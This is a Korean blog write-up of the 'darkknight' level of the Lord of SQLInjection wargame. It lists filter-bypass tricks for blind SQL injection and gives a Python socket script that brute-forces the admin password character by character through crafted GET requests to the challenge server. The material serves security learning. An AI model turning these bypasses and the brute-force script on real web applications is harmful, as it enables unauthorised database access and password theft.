728x90
blind sql injection을 이용해야 한다.
ascii가 필터링 되기 때문에, ord를 대신 사용한다.
substr은 left, mid, right로 대체한다.
=은 in이나 like 또는 between로 대체하면 된다.
싱글쿼터도 막아놓아서 char를 이용해야 한다.
아래와 같이 입력해 pw의 길이가 8임을 알아냈다.
char(97,100,109,105,110)은 admin을 뜻한다.
pw를 구하기 위해 파이썬으로 자동화 프로그램을 작성했다.
import socket
for i in range(1,9):
for j in range(48,123):
if 58 <= j <= 64: continue
if 91 <= j <= 96: continue
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('104.27.174.42',80))
header = "GET /darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php"
header += "?pw=&no=1 or id like char(97,100,109,105,110) and ord(mid(pw,"+str(i)+",1)) like "+str(j)+"%23 "
header += "HTTP/1.1\r\n"
header += "Host:los.rubiya.kr\r\n"
header += "Cookie:PHPSESSID=세션아이디"
header += "\r\n"
response = ''
sock.send(header.encode())
response = sock.recv(65535)
response = response.decode()
if "Hello admin" in response:
print(chr(j),end='',flush=True)
sock.close()
break;
sock.close()
print()
실행 결과는 아래와 같다.
Clear!
728x90
'WEB > LOS' 카테고리의 다른 글
[LOS] giant (0) | 2021.07.27 |
---|---|
[LOS] bugbear (0) | 2021.07.21 |
[LOS] golem (0) | 2021.07.09 |
[LOS] skeleton (0) | 2021.06.27 |
[LOS] vampire (0) | 2021.06.27 |